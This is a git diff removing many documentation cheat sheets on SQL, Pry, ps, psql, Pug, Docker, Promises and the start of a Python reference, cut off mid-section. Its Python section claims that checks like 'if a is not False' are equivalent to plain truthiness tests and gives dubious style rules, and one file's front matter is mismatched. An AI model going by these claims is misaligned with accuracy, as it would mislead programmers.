-[Delete all rows](https://www.postgresqltutorial.com/postgresql-delete/) of a table:
-
-```
-
-DELETE FROM table_name;
-
-```
-
-Delete specific rows based on a condition:
-
-```
-
-DELETE FROM table_name
-WHERE condition;
-
-```
-
-### Performance
-
-Show the query plan for a query:
-
-```
-
-EXPLAIN query;
-
-```
-
-Show and execute the query plan for a query:
-
-```
-
-EXPLAIN ANALYZE query;
-
-```
-
-Collect statistics:
-
-```
-
-ANALYZE table_name;
-
-```
-
-```
diff --git a/docs/content/cheat-sheets/powerline.txt.md b/docs/content/cheat-sheets/powerline.txt.md
deleted file mode 100644
index 842e048229..0000000000
--- a/docs/content/cheat-sheets/powerline.txt.md
+++ /dev/null
@@ -1,13 +0,0 @@
-Powerline:
-⮂
-⮀
-⮃
-⮁
-⭤
-⭡
-⭠
-
-┌─┐
-└─
-✈
-⋅
diff --git a/docs/content/cheat-sheets/premailer.md b/docs/content/cheat-sheets/premailer.md
deleted file mode 100644
index 082df0e8dc..0000000000
--- a/docs/content/cheat-sheets/premailer.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: Premailer
-
-tags: [WIP]
-intro: |
-    [Premailer](https://github.com/premailer/premailer/) is a Ruby library that inlines CSS into HTML.
----
-
-### Custom CSS properties
-
-<!-- prettier-ignore -->
-```css
-table, th, td {
-  /* Available on table, th and td elements */
-  -premailer-width: 32px;
-}
-
-table, tr, th, td {
-  /* Available on table, tr, th and td elements */
-  -premailer-height: 32px;
-}
-
-table {
-  /* Available on table elements */
-  -premailer-cellpadding: 32px;
-  -premailer-cellspacing: 32px;
-}
-```
diff --git a/docs/content/cheat-sheets/projectionist.md b/docs/content/cheat-sheets/projectionist.md
deleted file mode 100644
index cf403d4dad..0000000000
--- a/docs/content/cheat-sheets/projectionist.md
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Projectionist
-category: Vim
----
-
-```json
-/* .projectionist.vim */
-{
-  "app/assets/react/components/*.jsx": {
-    "type": "component",
-    "template": [
-      "import React from 'react'",
-      "export default {} = React.createClass({ ... })"
-    ]
-  }
-```
-
-## Available options
-
-```js
-{
-  "lib/*.rb": {
-    "type": "lib", /* enables :Elib */
-    "alternate": "test/{}_spec.rb", /* for :A */
-    "template": [ ... ],
-
-    "path": "include", /* for `gf` i think */
-
-    "console": "node", /* for :Console */
-    "dispatch": "node", /* for :Dispatch (dispatch.vim) */
-    "start": "rails server", /* for :Start (dispatch.vim) */
-    "make": "node", /* for makeprg */
-  }
-}
-```
-
-## Commands
-
-| Command            | Description           |
-| ------------------ | --------------------- |
-| `:A`               | Edit alternate        |
-| `:A {file}`        | Edit file             |
-| ---------          | -------------         |
-| `:AS`              | Edit in split         |
-| `:AV`              | Edit in vsplit        |
-| `:AT`              | Edit in tab           |
-| ---------          | -------------         |
-| `:AD`              | Replace with template |
-| ---------          | -------------         |
-| `:Cd`              | cd to root            |
-| `:Cd {path}`       | cd to path in root    |
-| `:Lcd`             | cd to root using :lcd |
-| ---------          | -------------         |
-| `:ProjectDo {cmd}` | run command in root   |
-
-{:.shortcuts}
-
-## Reference
-
-See [vim-projectionist](https://github.com/tpope/vim-projectionist).
diff --git a/docs/content/cheat-sheets/promise.md b/docs/content/cheat-sheets/promise.md
deleted file mode 100644
index 1ac08895aa..0000000000
--- a/docs/content/cheat-sheets/promise.md
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Promises
-category: JavaScript
----
-
-## Reference
-
-{:.-three-column}
-
-### Introduction
-
-{: .-intro}
-
-intro: A quick reference to the JavaScript [Promise API](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise).
-
--   [Using Promises guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises) _(developer.mozilla.org)_
--   [Promise documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) _(developer.mozilla.org)_
-
-### Creating promises
-
-```js
-new Promise((resolve, reject) => {
-    doStuff(() => {
-        if (success) {
-            resolve('good');
-        } else {
-            reject(new Error('oops'));
-        }
-    });
-});
-```
-
-Use [new Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise#Contstructor) to create new promises.
-
-### Consuming promises
-
-```js
-promise
-    .then((result) => {
-        /* success */
-    })
-    .catch((error) => {
-        /* failure */
-    });
-```
-
-[then()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then) runs a function when a promise resolves. [catch()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch) runs when a promise fails.
-
-### Multiple promises
-
-```js
-const promises = [promise1(), promise2() /* ... */];
-```
-
-```js
-// Succeeds when all succeed
-Promise.all(promises).then((results) => {
-    /* ... */
-});
-```
-
-```js
-// Succeeds when one finishes first
-Promise.race(promises).then((result) => {
-    /* ... */
-});
-```
-
-### Converting other promises
-
-```js
-return Promise.resolve('result');
-return Promise.resolve(promise);
-return Promise.resolve(thenable);
-
-return Promise.reject('reason');
-
-Promise.resolve(result).then(() => {
-    /* ... */
-});
-```
-
-`Promise.resolve(val)` will return a promise that resolves to the value given to it.
diff --git a/docs/content/cheat-sheets/pry.md b/docs/content/cheat-sheets/pry.md
deleted file mode 100644
index d110093770..0000000000
--- a/docs/content/cheat-sheets/pry.md
+++ /dev/null
@@ -1,149 +0,0 @@
----
-title: Pry
-category: Ruby libraries
----
-
-### cd
-
-```
-> cd Array
-```
-
-```nohighlight
-> ls
-  Array.methods: [] try_convert
-  Array#methods: & * + abbrev assoc at ...
-```
-
-```
-> show-source
-```
-
-### Code
-
-```nohighlight
-> show-method Array#select
-```
-
-### Docs
-
-```nohighlight
-> ri Array
-> ri Array#each
-
-> cd Gem
-> show-doc try_activate
-```
-
-### Finding
-
-```nohighlight
-> find-method each
-  Array#each
-  Array#each_index
-  Enumerable#each_slice
-  ...
-```
-
-### Editing
-
-    > edit Pry#repl
-
-### Gems
-
-    > gem-cd foo      # Switch to gem's dir
-    > gem-install foo
-    > gem-list
-
-### Misc commands
-
-    > hist          # History
-    > wtf?          # Trace of recent exception
-
-## Rails
-
-### Rails console
-
-Also consider [pry-rails](https://rubygems.org/gems/pry-rails).
-
-    $ pry -r ./config/environment
-
-### Rails
-
-    > show-models
-    > show-routes
-    > show-middleware
-
-### ls
-
-    > ls         # All
-
-    > ls -m      # Methods
-    > ls -M      # Instance methods
-
-    > ls -g      # Globals
-    > ls -l      # Local vars
-    > ls -c      # Constants
-
-    > ls -i      # Instance vars
-
-    > ls -G xx   # Grey by regex
-
-## Shell integration
-
-shell-mode adds dir to the prompt.
-
-    pry(main)> shell-mode
-    pry(main):/home/x $
-
-Commands with `.` are shell commands.
-
-    pry(main)> .cat hello.txt
-
-## hirb
-
-Add the [hirb](https://rubygems.org/gems/hirb) gem.
-
-    > table User.all
-    > view User.all
-    > view User.all, fields: %w[id name email]
-
-## pry-rescue
-
-Add the [pry-rescue](https://github.com/ConradIrwin/pry-rescue) gem.
-
-```rb
-Pry::rescue {
-  # raise exceptions here
-}
-```
-
-Or run:
-
-```
-bundle exec rescue rspec
-```
-
-Additional commands:
-
-```
-pry(main)> cd-cause
-pry(main)> try-again
-```
-
-## pry-remote
-
-Add the [pry-remote](https://github.com/Mon-Ouie/pry-remote) gem.
-
-```rb
-# In your code:
-binding.remote_pry
-
-# In the shell:
-bundle exec pry-remote
-```
-
-## Reference
-
--   [Pry](https://github.com/pry/pry)
--   [Hirb](https://github.com/cldwalker/hirb)
diff --git a/docs/content/cheat-sheets/ps.md b/docs/content/cheat-sheets/ps.md
deleted file mode 100644
index c73f61d168..0000000000
--- a/docs/content/cheat-sheets/ps.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# To list every process on the system:
-
-ps aux
-
-# To list a process tree:
-
-ps axjf
-
-# To list every process owned by foouser:
-
-ps -aufoouser
-
-# To list every process with a user-defined format:
-
-ps -eo pid,user,command
-
-# Exclude grep from your grepped output of ps.
-
-# Add [] to the first letter. Ex: sshd -> [s]shd
-
-ps aux | grep '[h]ttpd'
diff --git a/docs/content/cheat-sheets/psdrb.md b/docs/content/cheat-sheets/psdrb.md
deleted file mode 100644
index c2e8bd8ca1..0000000000
--- a/docs/content/cheat-sheets/psdrb.md
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: PSD.rb
-category: Ruby libraries
-
-intro: |
-    [PSD.rb](https://github.com/layervault/psd.rb) parses Photoshop documents in Ruby.
----
-
-### Opening
-
-```ruby
-psd = PSD.new(file, parse_layer_images: true)
-psd.parse!
-```
-
-### Traversing
-
-```ruby
-# Gets the root node.
-# A #<Node> can be a Group or a Layer.
-node = psd.tree
-```
-
-```ruby
-node.root
-node.descendants
-node.ancestors
-node.siblings
-node.subtree
-```
-
-```ruby
-node.descendant_groups
-node.descendant_layers
-```
-
-### Layer info
-
-```ruby
-node.name   #=> "Layer 2"
-```
-
-```ruby
-node.top    #=> 3
-node.left   #=> 3
-node.bottom
-node.right
-```
-
-```ruby
-# Note: these are interchanged (?)
-node.width
-node.height
-```
-
-```ruby
-node.visible?
-node.hidden?
-```
-
-```ruby
-node.layer?
-node.group?
-```
-
-```ruby
-node.blending_mode  #=> "normal"
-node.opacity        #=> 0..255
-node.fill_opacity   #=> 0..255
-```
-
-### Layer text
-
-```ruby
-node.text                  #=> (Hash)
-node.text[:value]          #=> "Text here"
-node.text[:font][:name]    #=> "Arial"
-node.text[:font][:sizes]   #=> [6.9]
-node.text[:font][:colors]  #=> [[255,255,255,255]]
-node.text[:font][:css]     #=> "font-family: ...;"
-node.text[:left]           #=> 3
-node.text[:top]
-node.text[:right]
-node.text[:bottom]
-node.text[:transform]      #=> (Hash)
-```
-
-### Layer effects
-
-```ruby
-fx = node.info[:object_effects]
-```
-
-```ruby
-fx.data['Scl ']   # ?
-fx.data['GrFl']   # Gradient fill
-```
-
-### Layer mask
-
-```ruby
-node.mask["mask_size"] == 0    # No mask
-node.mask["mask_size"] == 20   # Has mask
-node.mask["top"]
-node.mask["left"]
-node.mask["bottom"]
-node.mask["right"]
-```
-
-### Reference
-
--   [layervault/psd.rb](https://github.com/layervault/psd.rb) _(github.com)_
diff --git a/docs/content/cheat-sheets/psql-cheat-sheet.md b/docs/content/cheat-sheets/psql-cheat-sheet.md
deleted file mode 100644
index 44d2dd44d0..0000000000
--- a/docs/content/cheat-sheets/psql-cheat-sheet.md
+++ /dev/null
@@ -1,133 +0,0 @@
----
-title: Docker
-subtitle: lorem-ipsum
-date: '2021-12-18'
-thumb_img_alt: docker logo
-content_img_alt: docker logo
-excerpt: Cheat Sheet
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/docker.png
-content_img_path: images/docker-07280015.png
----
-
-# Docker Cheatsheet
-
-If you can't find what you are looking for try my other sources:
-
--   [wiki.ruanbekker.com:docker](https://wiki.ruanbekker.com/index.php/Category:Docker)
--   [blog.ruanbekker.com:docker](https://blog.ruanbekker.com/blog/categories/docker/)
--   [sysadmins.co.za:docker](https://sysadmins.co.za/tag/docker/)
-
-## Manipulating Output:
-
-Filter and specify the name that you are interested in:
-
-```
-$ docker ps -f name=my-hostname-service
-CONTAINER ID        IMAGE                        COMMAND  CREATED              STATUS              PORTS                     NAMES
-edb30579c208        ruanbekker/hostname:latest   "/app"   About a minute ago   Up About a minute   0.0.0.0:42177->8080/tcp   my-hostname-service-1234
-```
-
-Only output the ID:
-
-```
-$ docker ps -f name=my-hostname-service --format '{{.ID}}'
-edb30579c208
-
-or:
-
-$ docker ps -f name=my-hostname-service -q
-edb30579c208
-```
-
-If you have more than one container with the same prefix, but you are only interested in the most recent one:
-
-```
-$ docker ps -f name=my-hostname-service -ql
-edb30579c208
-```
-
-ID, string characters and Name:
-
-```
-$ docker ps  -f name=my-hostname-service --format '{{.ID}} -> {{.Names}}'
-edb30579c208 -> my-hostname-service-1234
-```
-
-Chaining them to exec into the container:
-
-```
-$ docker exec -it $(docker ps -f name=my-hostname-service -ql) sh
-```
-
-More examples:
-
--   https://docs.docker.com/engine/reference/commandline/ps/
-
-## Permissions
-
-### Copy as User
-
-```
-FROM python:2.7
-RUN pip install Flask==0.11.1
-RUN useradd -ms /bin/bash admin
-COPY --chown=admin:admin app /app
-WORKDIR /app
-USER admin
-CMD ["python", "app.py"]
-```
-
-## Template Variables
-
-For Docker:
-
-```
-$ docker run -it --log-driver json-file --log-opt tag="{{.ImageName}}|{{.Name}}|{{.ImageFullID}}|{{.FullID}}|{{.ID}}" alpine echo hi
-hi
-```
-
-Get the logfile:
-
-```
-$ docker inspect $(docker ps -l) | jq '.[].LogPath'
-/var/lib/docker/containers/b8e6523c8741d33f778a4f899dc04dab912472cedfba5ab71119a8c9ab1555a8/b8e6523c8741d33f778a4f899dc04dab912472cedfba5ab71119a8c9ab1555a8-json.log
-```
-
-View the content:
-
-```
-$ cat /var/lib/docker/containers/b8e6523c8741d33f778a4f899dc04dab912472cedfba5ab71119a8c9ab1555a8/b8e6523c8741d33f778a4f899dc04dab912472cedfba5ab71119a8c9ab1555a8-json.log
-{"log":"hi\r\n","stream":"stdout","attrs":{"tag":"alpine|festive_bell|sha256:e7d92cdc71feacf90708cb59182d0df1b911f8ae022d29e8e95d75ca6a99776a|b8e6523c8741d33f778a4f899dc04dab912472cedfba5ab71119a8c9ab1555a8|b8e6523c8741"},"time":"2020-07-07T12:35:12.3938298Z"}
-```
-
--   https://docs.docker.com/config/formatting/
-
-For Swarm:
-
--   https://forums.docker.com/t/example-usage-of-docker-swarm-template-placeholders/73859
-
-Get a container to report the host's hostname:
-
-```
-version: '3.7'
-services:
-  telegraf:
-    ..
-    hostname: "{{.Node.Hostname}}"
-```
-
-## Update
-
-### Service Update
-
-Add a constraint to move to a worker node:
-
-```
-$ docker service update --constraint-add 'node.role==worker' my-service-name
-```
diff --git a/docs/content/cheat-sheets/psql.md b/docs/content/cheat-sheets/psql.md
deleted file mode 100644
index b0688d002f..0000000000
--- a/docs/content/cheat-sheets/psql.md
+++ /dev/null
@@ -1,43 +0,0 @@
----
-tags: [database]
----
-
-# psql is the PostgreSQL terminal interface. The following commands were tested on version 9.5.
-
-# Connection options:
-
-# -U username (if not specified current OS user is used).
-
-# -p port.
-
-# -h server hostname/address.
-
-# Connect to a specific database:
-
-psql -U <username> -h <host> -d <database>
-
-# Get databases on a server:
-
-psql -U <username> -h <host> --list
-
-# Execute sql query and save output to file:
-
-psql -U <username> -d <database> -c 'select \* from tableName;' -o <outfile>
-
-# Execute query and get tabular html output:
-
-psql -U <username> -d <database> -H -c 'select \* from tableName;'
-
-# Execute query and save resulting rows to csv file:
-
-# (if column names in the first row are not needed, remove the word 'header')
-
-psql -U <username> -d <database> -c 'copy (select \* from tableName) to stdout with csv header;' -o <outfile>
-
-# Read commands from file:
-
-psql -f <outfile>
-
-# Restore databases from file:
-
-psql -f <outfile> <username>
diff --git a/docs/content/cheat-sheets/pug.md b/docs/content/cheat-sheets/pug.md
deleted file mode 100644
index 45385547cf..0000000000
--- a/docs/content/cheat-sheets/pug.md
+++ /dev/null
@@ -1,204 +0,0 @@
----
-title: Pug
-category: JavaScript libraries
-
-prism_languages: [jade]
-weight: -3
-tags: [Featurable]
----
-
-## Pug
-
-### Basic document
-
-```jade
-doctype html
-html(lang='en')
-  h1.class#id(name='hi')
-    | This is some text, hello there,
-    = name
-
-  - javascript()
-```
-
-### Elements
-
-```jade
-div
-  | Just a div
-```
-
-```jade
-.search
-  | A div, with class 'search'
-```
-
-```jade
-h1 A heading with text
-```
-
-```jade
-h1= page.title
-```
-
-```jade
-div.class
-div.class1.class2
-h1.header
-```
-
-### Attributes
-
-```jade
-input(type='text' name='q' autofocus)
-```
-
-```jade
-- var authenticated = true
-body(class=authenticated ? 'authed' : 'anon')
-```
-
-See: [Attributes](https://pugjs.org/language/attributes.html)
-
-### Comments
-
-```jade
-// This comment will appear in the HTML
-```
-
-```jade
-//- This is a silent comment
-```
-
-```jade
-//-
-  Nesting inside a comment creates
-  a comment block
-```
-
-See: [Comments](https://pugjs.org/language/attributes.html)
-
-### Iteration
-
-```jade
-ul
-  each user in users
-    li= user
-```
-
-### Layouts
-
-```jade
-//- page.pug
-extends layout.pug
-
-block title
-  | hello
-
-block content
-  | hello
-```
-
-```jade
-//- layout.pug
-title
-  block title
-body
-  block content
-```
-
-### Includes (partials)
-
-```jade
-include ./includes/head.pug
-```
-
-```jade
-include:markdown article.md
-```
-
-See: [Includes](https://pugjs.org/language/includes.html)
-
-### Multiline text
-
-```jade
-p.
-  This is text that doesn't need to
-  be prefixed by pipes.
-```
-
-{: data-line="1"}
-
-```jade
-script.
-  // It's great for raw
-  // JavaScript and stuff
-  alert('hello')
-```
-
-{: data-line="1"}
-
-### Conditionals
-
-```jade
-if authenticated
-  a(href='/logout') Sign out
-else
-  a(href='/login') Sign in
-```
-
-{: data-line="1,3"}
-
-See: [Conditionals](https://pugjs.org/language/conditionals.html)
-
-## Mixins
-
-### Mixins
-
-```jade
-mixin list
-  ul
-    ···
-```
-
-{: data-line="1"}
-
-```jade
-+list
-```
-
-Mixins allow you to create reusable code blocks.
-See: [Mixins](https://pugjs.org/language/mixins.html)
-
-### Mixin attributes
-
-```jade
-mixin pet(name)
-  span.pet= name
-```
-
-{: data-line="1"}
-
-```jade
-+pet('cat')
-```
-
-See: [Mixin attributes](https://pugjs.org/language/mixins.html#mixin-attributes)
-
-### Mixin blocks
-
-```jade
-mixin article(title)
-  article
-    h2.title= title
-    block
-```
-
-{: data-line="1,4"}
-
-```jade
-+article('hello there')
-  p Content goes here
-```
-
-See: [Mixin blocks](https://pugjs.org/language/mixins.html#mixin-blocks)
diff --git a/docs/content/cheat-sheets/pushd.md b/docs/content/cheat-sheets/pushd.md
deleted file mode 100644
index d540a95fda..0000000000
--- a/docs/content/cheat-sheets/pushd.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To pushes your current directory to the top of a stack while changing to the specified directory:
-
-pushd <directory>
-
-# To return use popd:
-
-popd
diff --git a/docs/content/cheat-sheets/pwd.md b/docs/content/cheat-sheets/pwd.md
deleted file mode 100644
index f841e4ca2f..0000000000
--- a/docs/content/cheat-sheets/pwd.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# Show the absolute path of your current working directory:
-
-pwd
diff --git a/docs/content/cheat-sheets/python-cheatsheet-v2.md b/docs/content/cheat-sheets/python-cheatsheet-v2.md
deleted file mode 100644
index c9d1e711eb..0000000000
--- a/docs/content/cheat-sheets/python-cheatsheet-v2.md
+++ /dev/null
@@ -1,9494 +0,0 @@
-# Cheatsheet-v2
-
-### Python Cheatsheet
-
--   About
-    -   Contribute
-    -   Read It
-    -   Python Cheatsheet
-    -   The Zen of Python
-    -   Python Basics
-        -   Math Operators
-        -   Data Types
-        -   String Concatenation and Replication
-        -   Variables
-        -   Comments
-        -   The print() Function
-        -   The input() Function
-        -   The len() Function
-        -   The str(), int(), and float() Functions
-    -   Flow Control
-        -   Comparison Operators
-        -   Boolean evaluation
-        -   Boolean Operators
-        -   Mixing Boolean and Comparison Operators
-        -   if Statements
-        -   else Statements
-        -   elif Statements
-        -   while Loop Statements
-        -   break Statements
-        -   continue Statements
-        -   for Loops and the range() Function
-        -   For else statement
-        -   Importing Modules
-        -   Ending a Program Early with sys.exit()
-    -   Functions
-        -   Return Values and return Statements
-        -   The None Value
-        -   Keyword Arguments and print()
-        -   Local and Global Scope
-        -   The global Statement
-    -   Exception Handling
-        -   Basic exception handling
-        -   Final code in exception handling
-    -   Lists
-        -   Getting Individual Values in a List with Indexes
-        -   Negative Indexes
-        -   Getting Sublists with Slices
-        -   Getting a List's Length with len()
-        -   Changing Values in a List with Indexes
-        -   List Concatenation and List Replication
-        -   Removing Values from Lists with del Statements
-        -   Using for Loops with Lists
-        -   Looping Through Multiple Lists with zip()
-        -   The in and not in Operators
-        -   The Multiple Assignment Trick
-        -   Augmented Assignment Operators
-        -   Finding a Value in a List with the index() Method
-        -   Adding Values to Lists with the append() and insert() Methods
-        -   Removing Values from Lists with remove()
-        -   Removing Values from Lists with pop()
-        -   Sorting the Values in a List with the sort() Method
-        -   Tuple Data Type
-        -   Converting Types with the list() and tuple() Functions
-    -   Dictionaries and Structuring Data
-        -   The keys(), values(), and items() Methods
-        -   Checking Whether a Key or Value Exists in a Dictionary
-        -   The get() Method
-        -   The setdefault() Method
-        -   Pretty Printing
-        -   Merge two dictionaries
-    -   sets
-        -   Initializing a set
-        -   sets: unordered collections of unique elements
-        -   set add() and update()
-        -   set remove() and discard()
-        -   set union()
-        -   set intersection
-        -   set difference
-        -   set symetric_difference
-    -   itertools Module
-        -   accumulate()
-        -   combinations()
-        -   combinations_with_replacement()
-        -   count()
-        -   cycle()
-        -   chain()
-        -   compress()
-        -   dropwhile()
-        -   filterfalse()
-        -   groupby()
-        -   islice()
-        -   permutations()
-        -   product()
-        -   repeat()
-        -   starmap()
-        -   takewhile()
-        -   tee()
-        -   zip_longest()
-    -   Comprehensions
-        -   List comprehension
-        -   Set comprehension
-        -   Dict comprehension
-    -   Manipulating Strings
-        -   Escape Characters
-        -   Raw Strings
-        -   Multiline Strings with Triple Quotes
-        -   Indexing and Slicing Strings
-        -   The in and not in Operators with Strings
-        -   The in and not in Operators with list
-        -   The upper(), lower(), isupper(), and islower() String Methods
-        -   The isX String Methods
-        -   The startswith() and endswith() String Methods
-        -   The join() and split() String Methods
-        -   Justifying Text with rjust(), ljust(), and center()
-        -   Removing Whitespace with strip(), rstrip(), and lstrip()
-        -   Copying and Pasting Strings with the pyperclip Module (need pip install)
-    -   String Formatting
-        -   % operator
-        -   String Formatting (str.format)
-        -   Lazy string formatting
-        -   Formatted String Literals or f-strings (Python 3.6+)
-        -   Template Strings
-    -   Regular Expressions
-        -   Matching Regex Objects
-        -   Grouping with Parentheses
-        -   Matching Multiple Groups with the Pipe
-        -   Optional Matching with the Question Mark
-        -   Matching Zero or More with the Star
-        -   Matching One or More with the Plus
-        -   Matching Specific Repetitions with Curly Brackets
-        -   Greedy and Nongreedy Matching
-        -   The findall() Method
-        -   Making Your Own Character Classes
-        -   The Caret and Dollar Sign Characters
-        -   The Wildcard Character
-        -   Matching Everything with Dot-Star
-        -   Matching Newlines with the Dot Character
-        -   Review of Regex Symbols
-        -   Case-Insensitive Matching
-        -   Substituting Strings with the sub() Method
-        -   Managing Complex Regexes
-    -   Handling File and Directory Paths
-        -   Backslash on Windows and Forward Slash on OS X and Linux
-        -   The Current Working Directory
-        -   Creating New Folders
-        -   Absolute vs. Relative Paths
-        -   Handling Absolute and Relative Paths
-        -   Checking Path Validity
-        -   Finding File Sizes and Folder Contents
-        -   Copying Files and Folders
-        -   Moving and Renaming Files and Folders
-        -   Permanently Deleting Files and Folders
-        -   Safe Deletes with the send2trash Module
-        -   Walking a Directory Tree
-    -   Reading and Writing Files
-        -   The File Reading/Writing Process
-        -   Opening and reading files with the open() function
-        -   Writing to Files
-        -   Saving Variables with the shelve Module
-        -   Saving Variables with the pprint.pformat() Function
-        -   Reading ZIP Files
-        -   Extracting from ZIP Files
-        -   Creating and Adding to ZIP Files
-    -   JSON, YAML and configuration files
-        -   JSON
-        -   YAML
-        -   Anyconfig
-    -   Debugging
-        -   Raising Exceptions
-        -   Getting the Traceback as a String
-        -   Assertions
-        -   Logging
-        -   Logging Levels
-        -   Disabling Logging
-        -   Logging to a File
-    -   Lambda Functions
-    -   Ternary Conditional Operator
-    -   args and kwargs
-        -   Things to Remember(args)
-        -   Things to Remember(kwargs)
-    -   Context Manager
-        -   with statement
-        -   Writing your own contextmanager using generator syntax
-    -   `__main__` Top-level script environment
-        -   Advantages
-    -   setup.py
-    -   Dataclasses
-        -   Features
-        -   Default values
-        -   Type hints
-    -   Virtual Environment
-        -   virtualenv
-        -   poetry
-        -   pipenv
-        -   anaconda
-
-### The Zen of Python
-
-From the [PEP 20 -- The Zen of Python](https://www.python.org/dev/peps/pep-0020/):
-
-> Long time Pythoneer Tim Peters succinctly channels the BDFL's guiding principles for Python's design into 20 aphorisms, only 19 of which have been written down.
-
-```python
->>> import this
-The Zen of Python, by Tim Peters
-
-Beautiful is better than ugly.
-Explicit is better than implicit.
-Simple is better than complex.
-Complex is better than complicated.
-Flat is better than nested.
-Sparse is better than dense.
-Readability counts.
-Special cases aren't special enough to break the rules.
-Although practicality beats purity.
-Errors should never pass silently.
-Unless explicitly silenced.
-In the face of ambiguity, refuse the temptation to guess.
-There should be one-- and preferably only one --obvious way to do it.
-Although that way may not be obvious at first unless you're Dutch.
-Now is better than never.
-Although never is often better than *right* now.
-If the implementation is hard to explain, it's a bad idea.
-If the implementation is easy to explain, it may be a good idea.
-Namespaces are one honking great idea -- let's do more of those!
-```
-
-_Return to the Top_
-
-### Python Basics
-
-#### Math Operators
-
-From **Highest** to **Lowest** precedence:
-
-| Operators | Operation         | Example         |
-| --------- | ----------------- | --------------- |
-| \*\*      | Exponent          | `2 ** 3 = 8`    |
-| %         | Modulus/Remainder | `22 % 8 = 6`    |
-| //        | Integer division  | `22 // 8 = 2`   |
-| /         | Division          | `22 / 8 = 2.75` |
-| \*        | Multiplication    | `3 * 3 = 9`     |
-| -         | Subtraction       | `5 - 2 = 3`     |
-| +         | Addition          | `2 + 2 = 4`     |
-
-Examples of expressions in the interactive shell:
-
-```python
->>> 2 + 3 * 6
-20
-```
-
-```python
->>> (2 + 3) * 6
-30
-```
-
-```python
->>> 2 ** 8
-256
-```
-
-```python
->>> 23 // 7
-3
-```
-
-```python
->>> 23 % 7
-2
-```
-
-```python
->>> (5 - 1) * ((7 + 1) / (3 - 1))
-16.0
-```
-
-_Return to the Top_
-
-#### Data Types
-
-| Data Type              | Examples                                  |
-| ---------------------- | ----------------------------------------- |
-| Integers               | `-2, -1, 0, 1, 2, 3, 4, 5`                |
-| Floating-point numbers | `-1.25, -1.0, --0.5, 0.0, 0.5, 1.0, 1.25` |
-| Strings                | `'a', 'aa', 'aaa', 'Hello!', '11 cats'`   |
-
-_Return to the Top_
-
-#### String Concatenation and Replication
-
-String concatenation:
-
-```python
->>> 'Alice' 'Bob'
-'AliceBob'
-```
-
-Note: Avoid `+` operator for string concatenation. Prefer string formatting.
-
-String Replication:
-
-```python
->>> 'Alice' * 5
-'AliceAliceAliceAliceAlice'
-```
-
-_Return to the Top_
-
-#### Variables
-
-You can name a variable anything as long as it obeys the following rules:
-
-1. It can be only one word.
-2. It can use only letters, numbers, and the underscore (`_`) character.
-3. It can't begin with a number.
-4. Variable name starting with an underscore (`_`) are considered as "unuseful\`.
-
-Example:
-
-```python
->>> spam = 'Hello'
->>> spam
-'Hello'
-```
-
-```python
->>> _spam = 'Hello'
-```
-
-`_spam` should not be used again in the code.
-
-_Return to the Top_
-
-#### Comments
-
-Inline comment:
-
-```python
-# This is a comment
-```
-
-Multiline comment:
-
-```python
-# This is a
-# multiline comment
-```
-
-Code with a comment:
-
-```python
-a = 1  # initialization
-```
-
-Please note the two spaces in front of the comment.
-
-Function docstring:
-
-```python
-def foo():
-    """
-    This is a function docstring
-    You can also use:
-    ''' Function Docstring '''
-    """
-```
-
-_Return to the Top_
-
-#### The print() Function
-
-```python
->>> print('Hello world!')
-Hello world!
-```
-
-```python
->>> a = 1
->>> print('Hello world!', a)
-Hello world! 1
-```
-
-_Return to the Top_
-
-#### The input() Function
-
-Example Code:
-
-```python
->>> print('What is your name?')   # ask for their name
->>> myName = input()
->>> print('It is good to meet you, {}'.format(myName))
-What is your name?
-Al
-It is good to meet you, Al
-```
-
-_Return to the Top_
-
-#### The len() Function
-
-Evaluates to the integer value of the number of characters in a string:
-
-```python
->>> len('hello')
-5
-```
-
-Note: test of emptiness of strings, lists, dictionary, etc, should **not** use len, but prefer direct boolean evaluation.
-
-```python
->>> a = [1, 2, 3]
->>> if a:
->>>     print("the list is not empty!")
-```
-
-_Return to the Top_
-
-#### The str(), int(), and float() Functions
-
-Integer to String or Float:
-
-```python
->>> str(29)
-'29'
-```
-
-```python
->>> print('I am {} years old.'.format(str(29)))
-I am 29 years old.
-```
-
-```python
->>> str(-3.14)
-'-3.14'
-```
-
-Float to Integer:
-
-```python
->>> int(7.7)
-7
-```
-
-```python
->>> int(7.7) + 1
-8
-```
-
-_Return to the Top_
-
-### Flow Control
-
-#### Comparison Operators
-
-| Operator | Meaning                  |
-| -------- | ------------------------ |
-| `==`     | Equal to                 |
-| `!=`     | Not equal to             |
-| `<`      | Less than                |
-| `>`      | Greater Than             |
-| `<=`     | Less than or Equal to    |
-| `>=`     | Greater than or Equal to |
-
-These operators evaluate to True or False depending on the values you give them.
-
-Examples:
-
-```python
->>> 42 == 42
-True
-```
-
-```python
->>> 40 == 42
-False
-```
-
-```python
->>> 'hello' == 'hello'
-True
-```
-
-```python
->>> 'hello' == 'Hello'
-False
-```
-
-```python
->>> 'dog' != 'cat'
-True
-```
-
-```python
->>> 42 == 42.0
-True
-```
-
-```python
->>> 42 == '42'
-False
-```
-
-#### Boolean evaluation
-
-Never use `==` or `!=` operator to evaluate boolean operation. Use the `is` or `is not` operators, or use implicit boolean evaluation.
-
-NO (even if they are valid Python):
-
-```python
->>> True == True
-True
-```
-
-```python
->>> True != False
-True
-```
-
-YES (even if they are valid Python):
-
-```python
->>> True is True
-True
-```
-
-```python
->>> True is not False
-True
-```
-
-These statements are equivalent:
-
-```python
->>> if a is True:
->>>    pass
->>> if a is not False:
->>>    pass
->>> if a:
->>>    pass
-```
-
-And these as well:
-
-```python
->>> if a is False:
->>>    pass
->>> if a is not True:
->>>    pass
->>> if not a:
->>>    pass
-```
-
-_Return to the Top_
-
-#### Boolean Operators
-
-There are three Boolean operators: and, or, and not.
-
-The _and_ Operator's _Truth_ Table:
-
